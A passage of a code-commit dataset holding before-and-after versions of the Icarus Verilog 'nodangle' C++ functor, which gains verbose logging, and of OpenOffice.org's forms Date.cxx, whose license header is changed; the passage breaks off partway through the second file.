return;\n\n\t\/* If there are no references to this event, then go right\n\t   ahead and delete it. There is no use looking further at\n\t   it. *\/\n      if ((ev->nwait() + ev->ntrig() + ev->nexpr()) == 0) {\n\t    delete ev;\n\t    etotal += 1;\n\t    return;\n      }\n\n      if (iteration == 0) {\n              \/* Try to remove duplicate probes from the event. This\n                 is done as a separate initial pass to ensure similar\n                 events are detected as soon as possible in subsequent\n                 iterations. *\/\n            for (unsigned idx = 0 ;  idx < ev->nprobe() ;  idx += 1) {\n                  unsigned jdx = idx + 1;\n                  while (jdx < ev->nprobe()) {\n                        NetEvProbe*ip = ev->probe(idx);\n                        NetEvProbe*jp = ev->probe(jdx);\n\n                        if (ip->edge() != jp->edge()) {\n                              jdx += 1;\n                              continue;\n                        }\n\n                        bool fully_connected = true;\n                        for (unsigned jpin = 0; jpin < jp->pin_count(); jpin += 1) {\n                              unsigned ipin = 0;\n                              bool connected_flag = false;\n                              for (ipin = 0 ; ipin < ip->pin_count(); ipin += 1)\n                                    if (connected(ip->pin(ipin), jp->pin(jpin))) {\n                                          connected_flag = true;\n                                          break;\n                                    }\n\n                              if (!connected_flag) {\n                                    fully_connected = false;\n                                    break;\n                              }\n                        }\n\n                        if (fully_connected) {\n                              delete jp;\n                        } else {\n                              jdx += 1;\n                        }\n                  }\n            }\n            econtinue = true;\n      } else {\n              \/* Postpone examining events in an automatic scope until the\n                 third (optional) pass. This will mean similar events are\n                 biased towards being stored in static scopes. *\/\n            if (ev->scope()->is_auto()) {\n                  if (iteration == 1) {\n                        econtinue = true;\n                        return;\n                  }\n            } else {\n                  if (iteration == 2) {\n                        return;\n                  }\n            }\n\n              \/* Try to find all the events that are similar to me, and\n                 replace their references with references to me. *\/\n            list<NetEvent*> match;\n            ev->find_similar_event(match);\n            for (list<NetEvent*>::iterator idx = match.begin()\n                       ; idx != match.end() ;  idx ++) {\n\n                  NetEvent*tmp = *idx;\n                  assert(tmp != ev);\n                  tmp ->replace_event(ev);\n            }\n      }\n}\n\nvoid nodangle_f::signal(Design*des, NetNet*sig)\n{\n      if (scomplete) return;\n\n\t\/* Cannot delete signals referenced in an expression\n\t   or an l-value. *\/\n      if (sig->get_refs() > 0)\n\t    return;\n\n\t\/* Cannot delete the ports of tasks or functions. There are\n\t   too many places where they are referenced. *\/\n      if ((sig->port_type() != NetNet::NOT_A_PORT)\n\t  && (sig->scope()->type() == NetScope::TASK))\n\t    return;\n\n      if ((sig->port_type() != NetNet::NOT_A_PORT)\n\t  && (sig->scope()->type() == NetScope::FUNC))\n\t    return;\n\n\t\/* Can't delete ports of cells. *\/\n      if ((sig->port_type() != NetNet::NOT_A_PORT)\n\t  && (sig->scope()->attribute(perm_string::literal(\"ivl_synthesis_cell\")) != verinum()))\n\t    return;\n\n\t\/* Check to see if the signal is completely unconnected. If\n\t   all the bits are unlinked, then delete it. *\/\n      if (! sig->is_linked()) {\n\t    delete sig;\n\t    stotal += 1;\n\t    return;\n      }\n\n\t\/* The remaining things can only be done to synthesized\n\t   signals, not ones that appear in the original Verilog. *\/\n      if (! sig->local_flag())\n\t    return;\n\n\t\/* Check to see if there is some significant signal connected\n\t   to every pin of this signal. *\/\n      unsigned significant_flags = 0;\n      for (unsigned idx = 0 ;  idx < sig->pin_count() ;  idx += 1) {\n\t    Nexus*nex = sig->pin(idx).nexus();\n\n\t    for (Link*cur = nex->first_nlink()\n\t\t       ; cur ;  cur = cur->next_nlink()) {\n\n\t\t  if (cur == &sig->pin(idx))\n\t\t\tcontinue;\n\n\t\t  NetNet*cursig = dynamic_cast<NetNet*>(cur->get_obj());\n\t\t  if (cursig == 0)\n\t\t\tcontinue;\n\n\t\t  if (cursig->local_flag())\n\t\t\tcontinue;\n\n\t\t  significant_flags += 1;\n\t\t  break;\n\t    }\n\n\t    if (significant_flags <= idx)\n\t\t  break;\n      }\n\n\t\/* If every pin is connected to another significant signal,\n\t   then I can delete this one. *\/\n      if (significant_flags == sig->pin_count()) {\n\t    scontinue = true;\n\t    delete sig;\n\t    stotal += 1;\n      }\n}\n\nvoid nodangle(Design*des)\n{\n      nodangle_f fun;\n      fun.iteration = 0;\n      fun.stotal = 0;\n      fun.etotal = 0;\n      fun.scomplete = false;\n      fun.ecomplete = false;\n      do {\n            fun.scontinue = false;\n            fun.econtinue = false;\n\t    des->functor(&fun);\n\t    fun.iteration += 1;\n            fun.scomplete = !fun.scontinue;\n            fun.ecomplete = !fun.econtinue;\n\n\t    if (verbose_flag) {\n\t\t  cout << \" ... \" << fun.iteration << \" iterations\"\n\t\t       << \" deleted \" << fun.stotal << \" dangling signals\"\n\t\t       << \" and \" << fun.etotal << \" events.\" << endl;\n\t    }\n\n      } while (fun.scontinue || fun.econtinue);\n\n}\n<commit_msg>More verbose detail for nodangle functor.<commit_after>\/*\n * Copyright (c) 1999-2009 Stephen Williams (steve@icarus.com)\n *\n *    This source code is free software; you can redistribute it\n *    and\/or modify it in source code form under the terms of the GNU\n *    General Public License as published by the Free Software\n *    Foundation; either version 2 of the License, or (at your option)\n *    any later version.\n *\n *    This program is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *    GNU General Public License for more details.\n *\n *    You should have received a copy of the GNU General Public License\n *    along with this program; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA\n *\/\n\n# include \"config.h\"\n\n\/*\n * This functor scans the design looking for dangling objects and\n * excess local signals. These deletions are not necessarily required\n * for proper functioning of anything, but they can clean up the\n * appearance of design files that are generated.\n *\/\n# include  \"functor.h\"\n# include  \"netlist.h\"\n# include  \"compiler.h\"\n\nclass nodangle_f  : public functor_t {\n    public:\n      void event(Design*des, NetEvent*ev);\n      void signal(Design*des, NetNet*sig);\n\n      unsigned iteration;\n      unsigned stotal, etotal;\n      bool scontinue, econtinue;\n      bool scomplete, ecomplete;\n};\n\nvoid nodangle_f::event(Design*des, NetEvent*ev)\n{\n      if (ecomplete) return;\n\n\t\/* If there are no references to this event, then go right\n\t   ahead and delete it. There is no use looking further at\n\t   it. *\/\n      if ((ev->nwait() + ev->ntrig() + ev->nexpr()) == 0) {\n\t    delete ev;\n\t    etotal += 1;\n\t    return;\n      }\n\n      if (iteration == 0) {\n              \/* Try to remove duplicate probes from the event. This\n                 is done as a separate initial pass to ensure similar\n                 events are detected as soon as possible in subsequent\n                 iterations. *\/\n            for (unsigned idx = 0 ;  idx < ev->nprobe() ;  idx += 1) {\n                  unsigned jdx = idx + 1;\n                  while (jdx < ev->nprobe()) {\n                        NetEvProbe*ip = ev->probe(idx);\n                        NetEvProbe*jp = ev->probe(jdx);\n\n                        if (ip->edge() != jp->edge()) {\n                              jdx += 1;\n                              continue;\n                        }\n\n                        bool fully_connected = true;\n                        for (unsigned jpin = 0; jpin < jp->pin_count(); jpin += 1) {\n                              unsigned ipin = 0;\n                              bool connected_flag = false;\n                              for (ipin = 0 ; ipin < ip->pin_count(); ipin += 1)\n                                    if (connected(ip->pin(ipin), jp->pin(jpin))) {\n                                          connected_flag = true;\n                                          break;\n                                    }\n\n                              if (!connected_flag) {\n                                    fully_connected = false;\n                                    break;\n                              }\n                        }\n\n                        if (fully_connected) {\n                              delete jp;\n                        } else {\n                              jdx += 1;\n                        }\n                  }\n            }\n            econtinue = true;\n      } else {\n              \/* Postpone examining events in an automatic scope until the\n                 third (optional) pass. This will mean similar events are\n                 biased towards being stored in static scopes. *\/\n            if (ev->scope()->is_auto()) {\n                  if (iteration == 1) {\n                        econtinue = true;\n                        return;\n                  }\n            } else {\n                  if (iteration == 2) {\n                        return;\n                  }\n            }\n\n              \/* Try to find all the events that are similar to me, and\n                 replace their references with references to me. *\/\n            list<NetEvent*> match;\n            ev->find_similar_event(match);\n            for (list<NetEvent*>::iterator idx = match.begin()\n                       ; idx != match.end() ;  idx ++) {\n\n                  NetEvent*tmp = *idx;\n                  assert(tmp != ev);\n                  tmp ->replace_event(ev);\n            }\n      }\n}\n\nvoid nodangle_f::signal(Design*des, NetNet*sig)\n{\n      if (scomplete) return;\n\n\t\/* Cannot delete signals referenced in an expression\n\t   or an l-value. *\/\n      if (sig->get_refs() > 0)\n\t    return;\n\n\t\/* Cannot delete the ports of tasks or functions. There are\n\t   too many places where they are referenced. *\/\n      if ((sig->port_type() != NetNet::NOT_A_PORT)\n\t  && (sig->scope()->type() == NetScope::TASK))\n\t    return;\n\n      if ((sig->port_type() != NetNet::NOT_A_PORT)\n\t  && (sig->scope()->type() == NetScope::FUNC))\n\t    return;\n\n\t\/* Can't delete ports of cells. *\/\n      if ((sig->port_type() != NetNet::NOT_A_PORT)\n\t  && (sig->scope()->attribute(perm_string::literal(\"ivl_synthesis_cell\")) != verinum()))\n\t    return;\n\n\t\/* Check to see if the signal is completely unconnected. If\n\t   all the bits are unlinked, then delete it. *\/\n      if (! sig->is_linked()) {\n\t    delete sig;\n\t    stotal += 1;\n\t    return;\n      }\n\n\t\/* The remaining things can only be done to synthesized\n\t   signals, not ones that appear in the original Verilog. *\/\n      if (! sig->local_flag())\n\t    return;\n\n\t\/* Check to see if there is some significant signal connected\n\t   to every pin of this signal. *\/\n      unsigned significant_flags = 0;\n      for (unsigned idx = 0 ;  idx < sig->pin_count() ;  idx += 1) {\n\t    Nexus*nex = sig->pin(idx).nexus();\n\n\t    for (Link*cur = nex->first_nlink()\n\t\t       ; cur ;  cur = cur->next_nlink()) {\n\n\t\t  if (cur == &sig->pin(idx))\n\t\t\tcontinue;\n\n\t\t  NetNet*cursig = dynamic_cast<NetNet*>(cur->get_obj());\n\t\t  if (cursig == 0)\n\t\t\tcontinue;\n\n\t\t  if (cursig->local_flag())\n\t\t\tcontinue;\n\n\t\t  significant_flags += 1;\n\t\t  break;\n\t    }\n\n\t    if (significant_flags <= idx)\n\t\t  break;\n      }\n\n\t\/* If every pin is connected to another significant signal,\n\t   then I can delete this one. *\/\n      if (significant_flags == sig->pin_count()) {\n\t    scontinue = true;\n\t    delete sig;\n\t    stotal += 1;\n      }\n}\n\nvoid nodangle(Design*des)\n{\n      nodangle_f fun;\n      fun.iteration = 0;\n      fun.stotal = 0;\n      fun.etotal = 0;\n      fun.scomplete = false;\n      fun.ecomplete = false;\n      do {\n\t    if (verbose_flag) {\n\t\t  cout << \" ... scan for dangling signal and event nodes. \"\n\t\t       << \"(scomplete=\" << (fun.scomplete? \"T\" : \"F\")\n\t\t       << \", ecomplete=\" << (fun.ecomplete? \"T\" : \"F\")\n\t\t       << \")\" << endl << flush;\n\t    }\n\n            fun.scontinue = false;\n            fun.econtinue = false;\n\t    des->functor(&fun);\n\t    fun.iteration += 1;\n            fun.scomplete = !fun.scontinue;\n            fun.ecomplete = !fun.econtinue;\n\n\t    if (verbose_flag) {\n\t\t  cout << \" ... \" << fun.iteration << \" iterations\"\n\t\t       << \" deleted \" << fun.stotal << \" dangling signals\"\n\t\t       << \" and \" << fun.etotal << \" events.\" << endl << flush;\n\t    }\n\n      } while (fun.scontinue || fun.econtinue);\n\n      if (verbose_flag) {\n\t    cout << \" ... done\" << endl << flush;\n      }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: Date.cxx,v $\n *\n *  $Revision: 1.17 $\n *\n *  last change: $Author: vg $ $Date: 2005-03-23 11:29:03 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _FORMS_DATE_HXX_\n#include \"Date.hxx\"\n#endif\n\n#ifndef _TOOLS_DEBUG_HXX\n#include <tools\/debug.hxx>\n#endif\n#ifndef _DATE_HXX\n#include <tools\/date.hxx>\n#endif\n#ifndef _COMPHELPER_DATETIME_HXX_\n#include <comphelper\/datetime.hxx>\n#endif\n#ifndef _DBHELPER_DBCONVERSION_HXX_\n#include <connectivity\/dbconversion.hxx>\n#endif\n\n#ifndef _COM_SUN_STAR_SDBC_DATATYPE_HPP_\n#include <com\/sun\/star\/sdbc\/DataType.hpp>\n#endif\n\nusing namespace dbtools;\n\n\/\/.........................................................................\nnamespace frm\n{\n\/\/.........................................................................\n\nusing namespace ::com::sun::star;\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star::sdb;\nusing namespace ::com::sun::star::sdbc;\nusing namespace ::com::sun::star::sdbcx;\nusing namespace ::com::sun::star::beans;\nusing namespace ::com::sun::star::util;\nusing namespace ::com::sun::star::container;\nusing namespace ::com::sun::star::form;\nusing namespace ::com::sun::star::awt;\nusing namespace ::com::sun::star::io;\nusing namespace ::com::sun::star::lang;\n\n\/\/------------------------------------------------------------------\nODateControl::ODateControl(const Reference<XMultiServiceFactory>& _rxFactory)\n               :OBoundControl(_rxFactory, VCL_CONTROL_DATEFIELD)\n{\n}\n\n\/\/------------------------------------------------------------------\nInterfaceRef SAL_CALL ODateControl_CreateInstance(const Reference<XMultiServiceFactory>& _rxFactory)\n{\n    return *(new ODateControl(_rxFactory));\n}\n\n\/\/------------------------------------------------------------------------------\nSequence<Type> ODateControl::_getTypes()\n{\n    return OBoundControl::_getTypes();\n}\n\n\/\/------------------------------------------------------------------------------\nStringSequence SAL_CALL ODateControl::getSupportedServiceNames() throw()\n{\n    StringSequence aSupported = OBoundControl::getSupportedServiceNames();\n    aSupported.realloc(aSupported.getLength() + 1);\n\n    ::rtl::OUString*pArray = aSupported.getArray();\n    pArray[aSupported.getLength()-1] = FRM_SUN_CONTROL_DATEFIELD;\n    return aSupported;\n}\n\n\/*************************************************************************\/\n\/\/------------------------------------------------------------------\nInterfaceRef SAL_CALL ODateModel_CreateInstance(const Reference<XMultiServiceFactory>& _rxFactory)\n{\n    return *(new ODateModel(_rxFactory));\n}\n\n\/\/------------------------------------------------------------------------------\nSequence<Type> ODateModel::_getTypes()\n{\n    return OEditBaseModel::_getTypes();\n}\n\n\/\/------------------------------------------------------------------\nDBG_NAME( ODateModel )\n\/\/------------------------------------------------------------------\nODateModel::ODateModel(const Reference<XMultiServiceFactory>& _rxFactory)\n            :OEditBaseModel( _rxFactory, VCL_CONTROLMODEL_DATEFIELD, FRM_SUN_CONTROL_DATEFIELD, sal_True, sal_True )\n                        \/\/ use the old control name for compytibility reasons\n            ,OLimitedFormats( _rxFactory, FormComponentType::DATEFIELD )\n{\n    DBG_CTOR( ODateModel, NULL );\n\n    m_nClassId = FormComponentType::DATEFIELD;\n    initValueProperty( PROPERTY_DATE, PROPERTY_ID_DATE );\n\n    setAggregateSet(m_xAggregateFastSet, getOriginalHandle(PROPERTY_ID_DATEFORMAT));\n\n    osl_incrementInterlockedCount( &m_refCount );\n    try\n    {\n        if ( m_xAggregateSet.is() )\n            m_xAggregateSet->setPropertyValue( PROPERTY_DATEMIN, makeAny( (sal_Int32)( ::Date( 1, 1, 1800 ).GetDate() ) ) );\n    }\n    catch( const Exception& )\n    {\n        OSL_ENSURE( sal_False, \"ODateModel::ODateModel: caught an exception!\" );\n    }\n    osl_decrementInterlockedCount( &m_refCount );\n}\n\n\/\/------------------------------------------------------------------------------\nODateModel::ODateModel( const ODateModel* _pOriginal, const Reference<XMultiServiceFactory>& _rxFactory )\n    :OEditBaseModel( _pOriginal, _rxFactory )\n    ,OLimitedFormats( _rxFactory, FormComponentType::DATEFIELD )\n{\n    DBG_CTOR( ODateModel, NULL );\n\n    setAggregateSet( m_xAggregateFastSet, getOriginalHandle( PROPERTY_ID_DATEFORMAT ) );\n}\n\n\/\/------------------------------------------------------------------------------\nODateModel::~ODateModel( )\n{\n    setAggregateSet(Reference< XFastPropertySet >(), -1);\n    DBG_DTOR( ODateModel, NULL );\n}\n\n\/\/ XCloneable\n\/\/------------------------------------------------------------------------------\nIMPLEMENT_DEFAULT_CLONING( ODateModel )\n\n\/\/ XServiceInfo\n\/\/------------------------------------------------------------------------------\nStringSequence SAL_CALL ODateModel::getSupportedServiceNames() throw()\n{\n    StringSequence aSupported = OBoundControlModel::getSupportedServiceNames();\n\n    sal_Int32 nOldLen = aSupported.getLength();\n    aSupported.realloc( nOldLen + 8 );\n    ::rtl::OUString* pStoreTo = aSupported.getArray() + nOldLen;\n\n    *pStoreTo++ = BINDABLE_CONTROL_MODEL;\n    *pStoreTo++ = DATA_AWARE_CONTROL_MODEL;\n    *pStoreTo++ = VALIDATABLE_CONTROL_MODEL;\n\n    *pStoreTo++ = BINDABLE_DATA_AWARE_CONTROL_MODEL;\n    *pStoreTo++ = VALIDATABLE_BINDABLE_CONTROL_MODEL;\n\n    *pStoreTo++ = FRM_SUN_COMPONENT_DATEFIELD;\n    *pStoreTo++ = FRM_SUN_COMPONENT_DATABASE_DATEFIELD;\n    *pStoreTo++ = BINDABLE_DATABASE_DATE_FIELD;\n\n    return aSupported;\n}\n\n\/\/------------------------------------------------------------------------------\n::rtl::OUString SAL_CALL ODateModel::getServiceName() throw ( ::com::sun::star::uno::RuntimeException)\n{\n    return FRM_COMPONENT_DATEFIELD; \/\/ old (non-sun) name for compatibility !\n}\n\n\/\/ XPropertySet\n\/\/------------------------------------------------------------------------------\nReference<XPropertySetInfo> SAL_CALL ODateModel::getPropertySetInfo() throw( RuntimeException )\n{\n    Reference<XPropertySetInfo>  xInfo( createPropertySetInfo( getInfoHelper() ) );\n    return xInfo;\n}\n\n\/\/------------------------------------------------------------------------------\nvoid ODateModel::fillProperties(\n        Sequence< Property >& _rProps,\n        Sequence< Property >& _rAggregateProps ) const\n{\n    BEGIN_DESCRIBE_PROPERTIES( 4, OEditBaseModel )\n        DECL_PROP3(DEFAULT_DATE,            sal_Int32,              BOUND, MAYBEDEFAULT, MAYBEVOID);\n        DECL_PROP1(TABINDEX,                sal_Int16,              BOUND);\n        DECL_PROP1(FORMATKEY,               sal_Int32,              TRANSIENT);\n        DECL_IFACE_PROP2(FORMATSSUPPLIER,   XNumberFormatsSupplier, READONLY, TRANSIENT);\n    END_DESCRIBE_PROPERTIES();\n}\n\n\/\/------------------------------------------------------------------------------\n::cppu::IPropertyArrayHelper& ODateModel::getInfoHelper()\n{\n    return *const_cast<ODateModel*>(this)->getArrayHelper();\n}\n\n\/\/------------------------------------------------------------------------------\nvoid SAL_CALL ODateModel::getFastPropertyValue(Any& _rValue, sal_Int32 _nHandle ) const\n{\n    switch (_nHandle)\n    {\n        case PROPERTY_ID_FORMATKEY:\n            getFormatKeyPropertyValue(_rValue);\n            break;\n        case PROPERTY_ID_FORMATSSUPPLIER:\n            _rValue <<= getFormatsSupplier();\n            break;\n        default:\n            OEditBaseModel::getFastPropertyValue(_rValue, _nHandle);\n            break;\n    }\n}\n\n\/\/------------------------------------------------------------------------------\nsal_Bool SAL_CALL ODateModel::convertFastPropertyValue(Any& _rConvertedValue, Any& _rOldValue,\n        sal_Int32 _nHandle, const Any& _rValue ) throw(IllegalArgumentException)\n{\n    if (PROPERTY_ID_FORMATKEY == _nHandle)\n        return convertFormatKeyPropertyValue(_rConvertedValue, _rOldValue, _rValue);\n    else\n        return OEditBaseModel::convertFastPropertyValue(_rConvertedValue, _rOldValue, _nHandle, _rValue );\n}\n\n\/\/------------------------------------------------------------------------------\nvoid SAL_CALL ODateModel::setFastPropertyValue_NoBroadcast(sal_Int32 _nHandle, const Any& _rValue) throw ( ::com::sun::star::uno::Exception)\n{\n    if (PROPERTY_ID_FORMATKEY == _nHandle)\n        setFormatKeyPropertyValue(_rValue);\n    else\n        OEditBaseModel::setFastPropertyValue_NoBroadcast(_nHandle, _rValue);\n}\n\n\/\/ XLoadListener\n\/\/------------------------------------------------------------------------------\nvoid ODateModel::onConnectedDbColumn( const Reference< XInterface >& _rxForm )\n{\n    OBoundControlModel::onConnectedDbColumn( _rxForm );\n    Reference<XPropertySet> xField = getField();\n    if (xField.is())\n    {\n        m_bDateTimeField = sal_False;\n        try\n        {\n            sal_Int32 nFieldType;\n            xField->getPropertyValue(PROPERTY_FIELDTYPE) >>= nFieldType;\n            m_bDateTimeField = (nFieldType == DataType::TIMESTAMP);\n        }\n        catch(Exception&)\n        {\n        }\n    }\n}\n\n\/\/------------------------------------------------------------------------------\nsal_Bool ODateModel::commitControlValueToDbColumn( bool _bPostReset )\n{\n    Any aControlValue( m_xAggregateFastSet->getFastPropertyValue( getValuePropertyAggHandle() ) );\n    if ( !compare( aControlValue, m_aSaveValue ) )\n    {\n        if ( !aControlValue.hasValue() )\n            m_xColumnUpdate->updateNull();\n        else\n        {\n            try\n            {\n                util::Date aDate;\n                if ( !( aControlValue >>= aDate ) )\n                {\n                    sal_Int32 nAsInt(0);\n                    aControlValue >>= nAsInt;\n                    aDate = DBTypeConversion::toDate(nAsInt);\n                }\n\n                if ( !m_bDateTimeField )\n                    m_xColumnUpdate->updateDate( aDate );\n                else\n                {\n                    util::DateTime aDateTime = m_xColumn->getTimestamp();\n                    aDateTime.Day = aDate.Day;\n                    aDateTime.Month = aDate.Month;\n                    aDateTime.Year = aDate.Year;\n                    m_xColumnUpdate->updateTimestamp( aDateTime );\n                }\n            }\n            catch(Exception&)\n            {\n                return sal_False;\n            }\n        }\n        m_aSaveValue = aControlValue;\n    }\n    return sal_True;\n}\n\n\/\/------------------------------------------------------------------------------\nAny ODateModel::translateControlValueToExternalValue( ) const\n{\n    Any aExternalValue( getControlValue() );\n    if ( aExternalValue.hasValue() )\n    {\n        sal_Int32 nDate = 0;\n        OSL_VERIFY( aExternalValue >>= nDate );\n        aExternalValue <<= DBTypeConversion::toDate( nDate );\n    }\n    return aExternalValue;\n}\n\n\/\/------------------------------------------------------------------------------\nAny ODateModel::translateExternalValueToControlValue( ) const\n{\n    OSL_PRECOND( hasExternalValueBinding(),\n        \"ODateModel::translateExternalValueToControlValue: precondition not met!\" );\n\n    Any aControlValue;\n    if ( hasExternalValueBinding() )\n    {\n        Any aExternalValue = getExternalValueBinding()->getValue( ::getCppuType( static_cast< util::Date* >( NULL ) ) );\n        if ( aExternalValue.hasValue() )\n        {\n            util::Date aDate;\n            OSL_VERIFY( aExternalValue >>= aDate );\n            aControlValue <<= DBTypeConversion::toINT32( aDate );\n        }\n    }\n    return aControlValue;\n}\n\n\/\/------------------------------------------------------------------------------\nAny ODateModel::translateDbColumnToControlValue()\n{\n    util::Date aDate = m_xColumn->getDate();\n    if (m_xColumn->wasNull())\n        m_aSaveValue.clear();\n    else\n        \/\/ the aggregated set expects an Int32 as value ...\n        m_aSaveValue <<= DBTypeConversion::toINT32(aDate);\n\n    return m_aSaveValue;\n}\n\n\/\/------------------------------------------------------------------------------\nAny ODateModel::getDefaultForReset() const\n{\n    Any aValue;\n    if (m_aDefault.getValueType().getTypeClass() == TypeClass_LONG)\n        aValue = m_aDefault;\n    else\n    {   \/\/ aktuelles Datum einstellen\n        ::Date aCurrentDate;\n        aValue <<= (sal_Int32)aCurrentDate.GetDate();\n    }\n\n    return aValue;\n}\n\n\/\/------------------------------------------------------------------------------\nsal_Bool ODateModel::approveValueBinding( const Reference< binding::XValueBinding >& _rxBinding )\n{\n    OSL_PRECOND( _rxBinding.is(), \"ODateModel::approveValueBinding: invalid binding!\" );\n\n    return  _rxBinding.is()\n        &&  _rxBinding->supportsType( ::getCppuType( static_cast< util::Date* >( NULL ) ) );\n}\n\n\/\/.........................................................................\n}   \/\/ namespace frm\n\/\/.........................................................................\n\n<commit_msg>INTEGRATION: CWS ooo19126 (1.17.56); FILE MERGED 2005\/09\/05 13:50:15 rt 1.17.56.1: #i54170# Change license header: remove SISSL<commit_after>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: Date.cxx,v $\n *\n *  $Revision: 1.18 $\n *\n *  last change: $Author: rt $ $Date: 2005-09-08 22:36:53 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef _FORMS_DATE_HXX_\n#include \"Date.hxx\"\n#endif\n\n#ifndef _TOOLS_DEBUG_HXX\n#include <tools\/debug.hxx>\n#endif\n#ifndef _DATE_HXX\n#include <tools\/date.hxx>\n#endif\n#ifndef _COMPHELPER_DATETIME_HXX_\n#include <comphelper\/datetime.hxx>\n#endif\n#ifndef _DBHELPER_DBCONVERSION_HXX_\n#include <connectivity\/dbconversion.hxx>\n#endif\n\n#ifndef _COM_SUN_STAR_SDBC_DATATYPE_HPP_\n#include <com\/sun\/star\/sdbc\/DataType.hpp>\n#endif\n\nusing namespace dbtools;\n\n\/\/.........................................................................\nnamespace frm\n{\n\/\/.........................................................................\n\nusing namespace ::com::sun::star;\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star::sdb;\nusing namespace ::com::sun::star::sdbc;\nusing namespace ::com::sun::star::sdbcx;\nusing namespace ::com::sun::star::beans;\nusing namespace ::com::sun::star::util;\nusing namespace ::com::sun::star::container;\nusing namespace ::com::sun::star::form;\nusing namespace ::com::sun::star::awt;\nusing namespace ::com::sun::star::io;\nusing namespace ::com::sun::star::lang;\n\n\/\/------------------------------------------------------------------\nODateControl::ODateControl(const Reference<XMultiServiceFactory>& _rxFactory)\n               :OBoundControl(_rxFactory, VCL_CONTROL_DATEFIELD)\n{\n}\n\n\/\/------------------------------------------------------------------\nInterfaceRef SAL_CALL ODateControl_CreateInstance(const Reference<XMultiServiceFactory>& _rxFactory)\n{\n    return *(new ODateControl(_rxFactory));\n}\n\n\/\/------------------------------------------------------------------------------\nSequence<Type> ODateControl::_getTypes()\n{\n    return OBoundControl::_getTypes();\n}\n\n\/\/------------------------------------------------------------------------------\nStringSequence SAL_CALL ODateControl::getSupportedServiceNames() throw()\n{\n    StringSequence aSupported = OBoundControl::getSupportedServiceNames();\n    aSupported.realloc(aSupported.getLength() + 1);\n\n    ::rtl::OUString*pArray = aSupported.getArray();\n    pArray[aSupported.getLength()-1] = FRM_SUN_CONTROL_DATEFIELD;\n    return aSupported;\n}\n\n\/*************************************************************************\/\n\/\/------------------------------------------------------------------\nInterfaceRef SAL_CALL ODateModel_CreateInstance(const Reference<XMultiServiceFactory>& _rxFactory)\n{\n    return *(new ODateModel(_rxFactory));\n}\n\n\/\/------------------------------------------------------------------------------\nSequence<Type> ODateModel::_getTypes()\n{\n    return OEditBaseModel::_getTypes();\n}\n\n\/\/------------------------------------------------------------------\nDBG_NAME( ODateModel )\n\/\/------------------------------------------------------------------\nODateModel::ODateModel(const Reference<XMultiServiceFactory>& _rxFactory)\n            :OEditBaseModel( _rxFactory, VCL_CONTROLMODEL_DATEFIELD, FRM_SUN_CONTROL_DATEFIELD, sal_True, sal_True )\n                        \/\/ use the old control name for compytibility reasons\n            ,OLimitedFormats( _rxFactory, FormComponentType::DATEFIELD )\n{\n    DBG_CTOR( ODateModel, NULL );\n\n    m_nClassId = FormComponentType::DATEFIELD;\n    initValueProperty( PROPERTY_DATE, PROPERTY_ID_DATE );\n\n    setAggregateSet(m_xAggregateFastSet, getOriginalHandle(PROPERTY_ID_DATEFORMAT));\n\n    osl_incrementInterlockedCount( &m_refCount );\n    try\n    {\n        if ( m_xAggregateSet.is() )\n            m_xAggregateSet->setPropertyValue( PROPERTY_DATEMIN, makeAny( (sal_Int32)( ::Date( 1, 1, 1800 ).GetDate() ) ) );\n    }\n    catch( const Exception& )\n    {\n        OSL_ENSURE( 